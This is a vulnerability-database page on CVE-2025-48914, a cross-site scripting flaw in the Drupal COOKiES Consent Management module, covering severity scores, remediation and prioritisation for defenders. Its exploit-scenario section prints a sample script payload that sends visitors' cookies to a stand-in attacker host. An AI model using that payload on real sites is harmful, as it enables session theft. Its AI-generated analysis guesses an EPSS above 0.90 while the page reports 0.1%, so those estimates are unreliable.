Skip to main content

Cookies Consent Management EUVDEUVD-2025-18289

| CVE-2025-48914 HIGH
Cross-site Scripting (XSS) (CWE-79)
2025-06-13 mlhess@drupal.org
8.6
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

CVSS 8.6 with AV:N/AC:L/PR:N/UI:N indicates severe attack accessibility: the vulnerability is remotely exploitable without authentication or user interaction, placing it in the High/Critical realm. The attack complexity is Low, meaning no special conditions are required. However, real-world risk assessment requires additional context: (1) EPSS data is not provided, but based on the attack vector and ease of exploitation, estimated EPSS would likely exceed 0.90 (very high exploitation probability); (2) KEV status unknown—if not in CISA KEV catalog, active exploitation may be limited despite high CVSS; (3) Stored vs. Reflected distinction matters: if Stored XSS, impact is amplified (affects all users viewing affected content); Reflected reduces scope to targeted phishing. (4) SSVC framework analysis: if exploitation is unproven (no public PoC), technical impact is High (C/I/A compromised), and patching is available, priority is High but not Critical. If exploitation becomes automated, priority escalates to Critical. The lack of authentication requirement and low complexity are significant aggravating factors, making this a genuine priority despite uncertainty around active exploitation.

Exploit ScenarioDerived

An attacker crafts a malicious URL or form submission containing JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) targeting a parameter processed by the COOKiES Consent Management module, such as a custom banner text field or tracking ID. If Reflected XSS: attacker sends the URL to a victim via email or embeds it in a webpage; when the victim visits, the script executes in their browser, stealing session cookies or injecting a fake consent form to capture email addresses. If Stored XSS: attacker injects the payload via a poorly-protected admin form or public input field; every user who visits the site thereafter executes the malicious script, enabling large-scale session hijacking, malware distribution, or credential harvesting. No user interaction is required (UI:N per CVSS), and the attack succeeds against any unpatched instance. Realistic scenario: attacker targets a website using COOKiES Consent Management, injects malicious script into the cookie consent banner text field, and steals visitors' authentication tokens to perform unauthorized actions as legitimate users.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 14, 2026

Stored/Reflected Cross-Site Scripting (XSS) vulnerability in Drupal's COOKiES Consent Management module (versions before 1.2.15) that allows unauthenticated attackers to inject malicious scripts into web pages due to improper input neutralization. The vulnerability has a CVSS score of 8.6 (High severity) with network-based attack vector requiring no privileges or user interaction, enabling attackers to compromise confidentiality, integrity, and availability of affected sites. No active KEV or widespread public PoC data is available in standard vulnerability databases, suggesting limited real-world exploitation at time of analysis, though the high CVSS and ease of exploitation (AV:N/AC:L/PR:N/UI:N) warrant immediate patching.

RemediationAI

Immediate actions: (1) Update Drupal COOKiES Consent Management module to version 1.2.15 or later, which includes input neutralization fixes; (2) If immediate patching is impossible, disable the module temporarily or restrict access to configuration forms using Drupal permissions (limit to trusted administrators only); (3) Review and sanitize any existing user-provided data in the module's database (cookie settings, custom banner text) using Drupal's database sanitization tools; (4) Implement Web Application Firewall (WAF) rules to detect and block XSS patterns in parameters known to be processed by the module (e.g., consent banner text, tracking parameters); (5) Enable Drupal's Security Review module to identify additional input handling vulnerabilities; (6) Apply Drupal security best practices: use Twig autoescaping, leverage Form API's built-in sanitization, and conduct code review of any custom hooks or theme overrides. Patch deployment should be prioritized within 48 hours given the ease of exploitation.

Affected VersionsENISA

COOKiES Consent Management 0.0.0 <1.2.15

Affected Packages

composer drupal/cookies fix: 1.2.15
euvd cookies_consent_management fix: 1.2.15

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation), a classic XSS flaw where user-supplied input is rendered directly into HTML/JavaScript contexts without sanitization or encoding. The Drupal COOKiES Consent Management module (CPE: drupal:cookies_consent_management) fails to properly escape or filter input before displaying it in dynamically generated web pages, likely within cookie consent banner templates, configuration forms, or consent tracking mechanisms. Drupal modules leverage the Drupal Form API and theme rendering system; the flaw likely occurs in hook implementations (hook_form_alter, hook_preprocess_*, or custom theme functions) where user data from cookie consent settings, banner text customization, or tracking parameters is passed to render arrays without using proper Drupal sanitization functions (e.g., Html::escape(), Xss::filter()) or Twig autoescaping.

Know when Cookies Consent Management gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 8.6 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low

Lifecycle Timeline

2
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Jun 13, 2025 - 16:15 nvd
HIGH 8.6

DescriptionCVE.org

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal COOKiES Consent Management allows Cross-Site Scripting (XSS).This issue affects COOKiES Consent Management: from 0.0.0 before 1.2.15.

Executive ViewAI

Why It Matters

A Cross-Site Scripting (XSS) vulnerability in the Drupal COOKiES Consent Management module (versions before 1.2.15) allows attackers to inject malicious scripts that execute in users' browsers, potentially compromising user sessions, stealing credentials, or defacing website content. Organizations running affected versions face immediate risk of user data exposure and reputational damage, particularly if the module processes sensitive consent or cookie data.

Business Impact: High
Compensating Controls

Deploy Web Application Firewall (WAF) rules to detect and block XSS patterns targeting Drupal cookie consent endpoints; restrict module configuration access to trusted administrators only via network segmentation; disable the COOKiES Consent Management module if functionality is not critical until patch is available; implement Content Security Policy (CSP) headers to mitigate XSS payload execution; enable audit logging on all cookie consent configuration changes; consider temporary alternative consent management solutions if available.

Threat Intelligence Overview

EPSS Score
0.1%
Top 72% exploitable
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy